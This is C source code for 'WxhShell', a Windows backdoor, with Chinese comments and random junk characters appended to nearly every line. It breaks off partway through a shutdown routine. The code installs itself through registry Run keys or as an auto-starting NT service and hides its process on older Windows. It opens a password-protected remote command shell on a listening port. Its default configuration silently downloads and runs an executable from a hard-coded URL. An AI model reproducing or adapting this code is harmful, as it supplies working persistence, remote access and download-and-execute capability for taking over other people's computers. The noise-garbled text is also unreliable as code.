} PROCESS_BASIC_INFORMATION; G
"c/a8
R{ 4u|A?9
PROCNTQSIP NtQueryInformationProcess; acy"ct*I
4zwif&
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5Ny0b|+p
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6<+8}`@B>G
) _#T c
HANDLE hProcess; |/t K-c6J
PROCESS_BASIC_INFORMATION pbi; JQr36U
]ci RiMkT(
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %27G 2^1
if(NULL == hInst ) return 0; H'']J9O
[@zkv)D6
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )Jmw|B
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I>!|3ElT
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .$OjUlzr-H
5 5a@)>h
if (!NtQueryInformationProcess) return 0; -/1d&
l2r>|CGQ[
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vevx|<9,
if(!hProcess) return 0; o`25
r"6lLc
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cUYX1a)8
?9CIWpGjU
CloseHandle(hProcess); Mc.^s
y.%i
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cx<h_
if(hProcess==NULL) return 0; vDWr|M%``l
B piEAwh
HMODULE hMod; S[ i$e
char procName[255]; \:C%>
.VG
unsigned long cbNeeded; rC~_:uXtE
,Qga|n8C
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^75pV%<%
.!9Vt#
CloseHandle(hProcess); &(GopWR`e
8 `yB
if(strstr(procName,"services")) return 1; // 以服务启动 +)% ,G@-`
_%XbxP6rH
return 0; // 注册表启动 z)r8?9u
} \gjl^#;
Y{`3`Pg&N
// 主模块 qNhH%tYQ
int StartWxhshell(LPSTR lpCmdLine) P:jDB{
{ &qG?[R{
SOCKET wsl; |YJ$c@
BOOL val=TRUE; L,tZh0
int port=0; ]U#JsMS
struct sockaddr_in door; 6_x}.bkIx=
3{I=.mUUm
if(wscfg.ws_autoins) Install(); wrhBH;3
$HP/cKu
port=atoi(lpCmdLine); 5^bh.uF
3KB|NS
if(port<=0) port=wscfg.ws_port; V,`!rJ
Au~+Zz|mQ
WSADATA data; A3m{jbh
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q|?`Gsr
6hR^qdHg
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; '3IkPy1Uz
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oD Q9.t
door.sin_family = AF_INET; Zjw!In|vC
door.sin_addr.s_addr = inet_addr("127.0.0.1"); z&\Il#'\m+
door.sin_port = htons(port); uv?8V@x2
x;<oaT$X
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
<|ka{=T
closesocket(wsl); .dy#n`eP
return 1; (K!M*d+
} v#{G8'+%
)*"T
if(listen(wsl,2) == INVALID_SOCKET) { Vf@S8H
closesocket(wsl); mYzsTUq
return 1; oUnq"]
} -Y5YCY!`
Wxhshell(wsl); sDW"j\
WSACleanup(); {Q}!NkF1
"FD<^
return 0; _Ac/i r[,:
WK/b=p|#o
} qiF@7i
V.O<|tl.
// 以NT服务方式启动 "it`X
B.
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /F\>Z]
{ ){?mKB5
DWORD status = 0; liBAJx
DWORD specificError = 0xfffffff; HQ ELK
Q"x`+?!
serviceStatus.dwServiceType = SERVICE_WIN32; L{+&z7M
serviceStatus.dwCurrentState = SERVICE_START_PENDING; hpd(d$j
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Fr938q6^-
serviceStatus.dwWin32ExitCode = 0; Uqb]e?@
serviceStatus.dwServiceSpecificExitCode = 0; u&hDjE
serviceStatus.dwCheckPoint = 0; P2A]qX
serviceStatus.dwWaitHint = 0; 5WrIg(l
O6*'gnke
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *
ePDc'
if (hServiceStatusHandle==0) return; \<0G
kp
}Rf}NWU)|
status = GetLastError(); ,I9][_
if (status!=NO_ERROR) ?uNTUU,
{ xg*\j)_}
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~z-?rW
serviceStatus.dwCheckPoint = 0; ]j%*"V
serviceStatus.dwWaitHint = 0; DctX9U(
serviceStatus.dwWin32ExitCode = status; x9FLr}e
serviceStatus.dwServiceSpecificExitCode = specificError; ej)BR'*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); FF~on06!
return; OX#eLco
} )3D+gu
U]`'GM/x
serviceStatus.dwCurrentState = SERVICE_RUNNING; `2
%eDFZ
serviceStatus.dwCheckPoint = 0;
ox i
a}
serviceStatus.dwWaitHint = 0; !;xf>API
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A1#4nkkc9
} [RGC!}"mr
,6y-.m7>
// 处理NT服务事件,比如:启动、停止 KNO*)\
VOID WINAPI NTServiceHandler(DWORD fdwControl) op.PS{_t
{ 3[00-~&U
switch(fdwControl) MX4 :e>dtd
{ k'WS"<-
case SERVICE_CONTROL_STOP: 6Y92&
serviceStatus.dwWin32ExitCode = 0; |ec(z
serviceStatus.dwCurrentState = SERVICE_STOPPED; {Oc?C:aI=
serviceStatus.dwCheckPoint = 0; t(uB66(_F
serviceStatus.dwWaitHint = 0; S20 nk.x
{ '/gxjr&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #'G7mAoA
} 2yi*eR
return; :JTRRv
case SERVICE_CONTROL_PAUSE: L~?,6
serviceStatus.dwCurrentState = SERVICE_PAUSED; 8S[<[CH
break; /Gh
x2B
case SERVICE_CONTROL_CONTINUE: ~x+:44*
serviceStatus.dwCurrentState = SERVICE_RUNNING; eE#81]'6a
break; cAsSN.HFS
case SERVICE_CONTROL_INTERROGATE: S+Yy
break; ur~Tql
}; FEm1^X#]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >h/)r6
} _^ CQ*+F
z$8e6*
// 标准应用程序主函数 nkr,
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OW[/%U>
{ 0s+rd&
8`rAE_n`%
// 获取操作系统版本 i no7!T`
OsIsNt=GetOsVer(); 5sA>O2Rt>
GetModuleFileName(NULL,ExeFile,MAX_PATH); z</XnN
N~Sue
// 从命令行安装 ~,`\D7Z3
if(strpbrk(lpCmdLine,"iI")) Install(); YDZ1@N}^B
L&3Ar'
// 下载执行文件 !)51v {
if(wscfg.ws_downexe) { W~+!"^<n
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >gS5[`xRE
WinExec(wscfg.ws_filenam,SW_HIDE); ;k63RNT,M&
} ]
fwTi(4y
6U,U[MWJ
if(!OsIsNt) { ShsP]$Yp
// 如果时win9x,隐藏进程并且设置为注册表启动 fO^EMy\
HideProc(); >m;|I/2@
StartWxhshell(lpCmdLine); JUaKj@a|
} r,Y/4(.c7U
else BHRrXC\
if(StartFromService()) 8YJqM,t5)
// 以服务方式启动 u6bB5(s`&
StartServiceCtrlDispatcher(DispatchTable); s6eq?1l3
else NZw[.s>n
// 普通方式启动 J~yd]L>
StartWxhshell(lpCmdLine); *fuGVA
zM9) .D
H
return 0; 644hQW&W
} Do[ F+Y
%8`1Li6g
0F;(_2V-
t6,M
=========================================== /="D]K)%b8
^JF_;~C
fi-&[llg
"#eNFCo7k
W0uM?J\O
f'zFg["aZS
" |0vHy7CE
[#3Cg%V
#include <stdio.h> ~:RDw<PWp
#include <string.h> mG8
#include <windows.h> qzU2H
#include <winsock2.h> xzGsfd
#include <winsvc.h> Spr:K,
#include <urlmon.h> exrt|A]_[
)1tnZ=&
#pragma comment (lib, "Ws2_32.lib") #*;fQ&p
#pragma comment (lib, "urlmon.lib") t73Z3M
scPq\Qd?O
#define MAX_USER 100 // 最大客户端连接数 nD?M;XN
#define BUF_SOCK 200 // sock buffer $0`$)(Y
#define KEY_BUFF 255 // 输入 buffer k~s>8N:&G
<K.C?M(9
#define REBOOT 0 // 重启 ZZ.0'
#define SHUTDOWN 1 // 关机 krnk%ug
dW=D]
#define DEF_PORT 5000 // 监听端口 {i7Fu+xZj
1-Wnc'(OK
#define REG_LEN 16 // 注册表键长度 DGuUI}|)
#define SVC_LEN 80 // NT服务名长度 ?PxYS%D_L
O'sr[
// 从dll定义API d=5}^v#4
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WUOPYYW<o
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >J75T1PH=
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p~zTRnm
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9Nbg@5(
TAXkfj
// wxhshell配置信息 |9i/)LRXe
struct WSCFG { ,;ruH^
int ws_port; // 监听端口 BO\`m%8md
char ws_passstr[REG_LEN]; // 口令 OaCj3d>
int ws_autoins; // 安装标记, 1=yes 0=no DSG +TA"
char ws_regname[REG_LEN]; // 注册表键名 ^[?+=1
k
char ws_svcname[REG_LEN]; // 服务名 D(ntVR
char ws_svcdisp[SVC_LEN]; // 服务显示名 Bw/H'Y
char ws_svcdesc[SVC_LEN]; // 服务描述信息 /dvnQW4}8
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &+r
;>
int ws_downexe; // 下载执行标记, 1=yes 0=no `GN5QLg#}0
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ws(}K+y_
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +nyN+X34B
y8WXp_\
}; `::(jW.KO
IOES3
// default Wxhshell configuration g#<?OFl
struct WSCFG wscfg={DEF_PORT, =
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"xuhuanlingzhe", ZzaW@6LJF
1, <IkD=X
"Wxhshell", rpP+20 v
"Wxhshell", YHv,Z|.w
"WxhShell Service", MVU'GHv
"Wrsky Windows CmdShell Service", 9C'+~<l
"Please Input Your Password: ", r
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1, mt6uW+t/
"http://www.wrsky.com/wxhshell.exe", wTuRo
J
"Wxhshell.exe" bFdg'_
}; 8{=(#]
7/$Z7J!k
// 消息定义模块 (a4y1k t-
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J3}C T
char *msg_ws_prompt="\n\r? for help\n\r#>"; m_ONsZHy
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @KRn3$U
char *msg_ws_ext="\n\rExit."; ^0?cyv\>LA
char *msg_ws_end="\n\rQuit."; )^2jsy
-/
char *msg_ws_boot="\n\rReboot..."; *z:lq2"G
char *msg_ws_poff="\n\rShutdown..."; MKYE]D;
char *msg_ws_down="\n\rSave to "; 8\t7}8f
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char *msg_ws_err="\n\rErr!"; yW,#&>]# |
char *msg_ws_ok="\n\rOK!"; gl{PLLe[}
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char ExeFile[MAX_PATH]; P##( V!YR
int nUser = 0;
?|rw=%
HANDLE handles[MAX_USER]; Gg,k
int OsIsNt; T`0gtSS
{.8)gVBmA
SERVICE_STATUS serviceStatus; - OGy-"
SERVICE_STATUS_HANDLE hServiceStatusHandle; !F s)"?
91Sb=9
// 函数声明 <u%e*
int Install(void); [B;Ek\ 5W
int Uninstall(void); }@0.
int DownloadFile(char *sURL, SOCKET wsh); sEi.f(WA
int Boot(int flag); z{+; '9C
void HideProc(void); D7'0o`|
int GetOsVer(void); Y `p&*O
int Wxhshell(SOCKET wsl); ]Lft^,7
void TalkWithClient(void *cs); 6#63D>OWp
int CmdShell(SOCKET sock); 4U1fPyt
int StartFromService(void); 4!W?z2ly~R
int StartWxhshell(LPSTR lpCmdLine); fe`G^hV
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ba:^zO^
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (j
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// 数据结构和表定义 D_kzR
SERVICE_TABLE_ENTRY DispatchTable[] = XQ y|t"Vq>
{ *G"#.YvE
{wscfg.ws_svcname, NTServiceMain}, Y-k~ 7{7
{NULL, NULL} nk.Eq[08
}; f3B8,>
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// 自我安装 ^u&Khc~
y
int Install(void) WC; a
{ jmVy4* P_
char svExeFile[MAX_PATH]; \(t>(4s_~
HKEY key; $6%;mep
strcpy(svExeFile,ExeFile); 9rc
n*sm
j@\/]oL^We
// 如果是win9x系统,修改注册表设为自启动 'UCx^-
if(!OsIsNt) { Gf.o{
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #u(,#(P'#
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AdW7 vn
RegCloseKey(key); [:'?}p
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \`5u@Nzx
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,B>b9,~3a
RegCloseKey(key); euC,]n.
return 0; ee[NZz
} Pt;Ahmi
} RIx6& 7$
} iFchD\E*o
else { '0rwNEg
-{mq\GvGn
// 如果是NT以上系统,安装为系统服务 nit7|T@^
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OEi9
)I
if (schSCManager!=0) Qj[O$L0 $
{ 4'|:SyOm
SC_HANDLE schService = CreateService J, >PLQAa
( }f*S 9V
schSCManager, YIqfGXu8
wscfg.ws_svcname, ^PpFI
wscfg.ws_svcdisp, BVeNK=7m%
SERVICE_ALL_ACCESS, k;X1x65uP
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aBLb i
SERVICE_AUTO_START, L#bQ`t
SERVICE_ERROR_NORMAL, ay[*b_f
svExeFile, GQWTQIl]
NULL, wajhFBJ
NULL, 1"PE@!]
NULL, )C6 7qY[P
NULL, 9F!&y-
NULL ~[6|VpGc:
); !qv;F?2
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if (schService!=0) yt,;^o^
{ fdHxrH>*
CloseServiceHandle(schService); qRLypm
CloseServiceHandle(schSCManager); 6%1o<{(%f
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T+!kRigN~P
strcat(svExeFile,wscfg.ws_svcname); ?!-im*~w
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #C}(7{Vt
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7?#32B
Gr
RegCloseKey(key); 54%}JA][
return 0; JFdzA
} !7?wd^C'f
} L<`g}iw
CloseServiceHandle(schSCManager); 9x,+G['Zt
} )5x?Qn (B
} Fowh3go
A[a+,TN{
return 1; P://Zi6>
} S45_-aE
,BAF?}04=
// 自我卸载 Z8UM0B=i
int Uninstall(void) &i RX-)^u
{ r U5'hK
HKEY key; t,nB`g?
#1R
%7*$i
if(!OsIsNt) { $vz%
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^Yz05\
RegDeleteValue(key,wscfg.ws_regname); ZZ7U^#RT
RegCloseKey(key); m,O!Mt
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E~^'w.1
RegDeleteValue(key,wscfg.ws_regname); ="K>yUfcFl
RegCloseKey(key); ObzlZP
r@
return 0; ry"zec
B
} (7,Awf5D~
} wYG0*!Vj
} 3}Qh`+Yj]
else { K4~Ox
pT tX[CE
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?Q2pD!L{
if (schSCManager!=0) RGmpkQEp
{ @Iu-F4YT
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l-EQh*!j
if (schService!=0) W9"I++~f
{ *6tN o-)^
if(DeleteService(schService)!=0) { C"<@EMU9
CloseServiceHandle(schService); SGm?"esEt
CloseServiceHandle(schSCManager); 9_{!nQC.g
return 0; [DwB7l)O(
} g (k|"g`*
CloseServiceHandle(schService); RUKSGj_NJ
} FO$Tn+\ 6
CloseServiceHandle(schSCManager); @35shLs
} wP*Z/}Uum+
} ,jmG!qJb
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return 1; (P-<9y@
} zdE^v{}|
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// 从指定url下载文件 |e\%pfZ
int DownloadFile(char *sURL, SOCKET wsh) Lw`\J|%p
{ ej+!|97M
HRESULT hr; 3I+pe;
char seps[]= "/"; C+5nft6:
char *token; `>Cx!sYhV
char *file; >^&+,*tsS4
char myURL[MAX_PATH]; r8rR _M{P
char myFILE[MAX_PATH]; oV`sCr5%
\Z':hw
strcpy(myURL,sURL); \ 714 Pyy
token=strtok(myURL,seps); x#D=?/~/Kv
while(token!=NULL) 5,C,q%2
{ Df (6DuW
file=token; t=AR>M!w~
token=strtok(NULL,seps); M %~kh"
} >YLm]7v}
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GetCurrentDirectory(MAX_PATH,myFILE); gZ3!2T>
strcat(myFILE, "\\"); <=Qk^Y2k
strcat(myFILE, file); %L3]l
send(wsh,myFILE,strlen(myFILE),0); @V)WJ{
send(wsh,"...",3,0); q]x@q
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uc_
X;M;
if(hr==S_OK) MXb(Z9)]kw
return 0; |k+^D :
else I?QKd@
return 1; K@m^QioMj
N"TD$NrK\
} OjZ@_V:
PW}.`
// 系统电源模块 Cp%|Q.?
int Boot(int flag) EeO{G*pq
{ W=!f
HANDLE hToken; rAKdf??
TOKEN_PRIVILEGES tkp; :9}*p@
|wDCIHzQ
if(OsIsNt) { n[@Ur2&